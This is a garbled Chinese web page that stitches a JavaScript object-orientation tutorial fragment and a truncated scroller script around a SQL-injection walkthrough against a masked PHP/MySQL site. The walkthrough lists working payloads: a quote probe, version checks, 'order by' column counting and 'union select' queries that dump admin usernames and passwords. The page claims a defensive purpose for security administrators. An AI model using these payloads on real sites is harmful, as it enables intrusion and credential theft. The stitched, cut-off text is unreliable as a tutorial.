快乐软件工作室

Discuz 多人悬赏
仿CSDN

JavaScript面向对象的支持
~~~~~~~~~~~~~~~~~~
很少有人对JavaScript的面向对象特性进行系统的分析。我希望接下来的文字让你了解到这
个语言最少为人知的一面。

1. JavaScript中的类型
--------
虽然JavaScript是一个基于对象的语言，但对象(Object)在JavaScript中不是第一型的。JS
是以函数(Function)为第一型的语言。这样说，不但是因为JS中的函数具有高级语言中的函
数的各种特性，而且也因为在JS中，Object也是由函数来实现的。——关于这一点，可以在
后文中“构造与析构”部分看到更进一步的说明。

JS中是弱类型的，他的内置类型简单而且清晰：
---------------------------------------------------------

PHP入侵是一种黑客比较常用的入侵方式，PHP入侵的操作简单和效果初中是其广为流传的原因。今天我们就通过一次简单的PHP入侵来看一下PHP入侵的全过程，其目的是为了企业安全管理员能够洞悉PHP入侵技术，提高安全防护水平。

测试站点如下

http://www.******.com

找个踩点

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830

提交一个 '

返回结果

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in

/* 确认数据库类型 (只有MYSQL解析/*)
 
 
   and ord(mid(version(),1,1))>51/* 确认数据库版本 51是ASCII码3 正确则>4.0 错误则<4.0
 
 
   union select 1,1,1,****1,1 返回正确 确认字段数
 
   order by 13 返回最后一个正确为字段数
 
  
   union select 1,2,3,4,****11,12,13 from admin 返回正确则admin表名 存在 假设出现数字 2
 
   union select 1,version(),3,*** 13 from admin 暴数据库版本
 
   union select 1,username,3,*** 13 from admin   暴账号/密码

第一讲：判断有没注射点
这个很简单，我们最常用的就是看到页面的格式为：index.php?id=2这样的地址，我们知道PHP经常是和MYSQL数据库一起用的，在MYSQL数据库中一定存在一个表，比如setting_table，我们提交上面地址的时候，程序一般上这样处理的：
1、用GET或者POST取我们提交的id=1把这个值传给一个变量id.
2、查询：select * from setting_table where id =$id
上面的语句就是查询的语句，我们代入$id=1就是:
select * from setting_table where id=1
这话是没什么问题的，会取出id为１的信息进行显示给我们，所以我们就能看到正常的页面。

－－－－－－－－－－－－－－
看我们是怎么判断的：
１、我们提交id=1 and 1=1

<script>
// JavaScript Document
/*****
@author leaves chen (leaves615@gmail.com)
@copyright 2009
*****/
var pause=false;
var scrollTimeId=null;
var container=null;
var lineHeight=null;
var speed=0;
var delay=0;
simpleScroll=function(container1,lineHeight1,speed1,delay1){
container=document.getElementById(container1);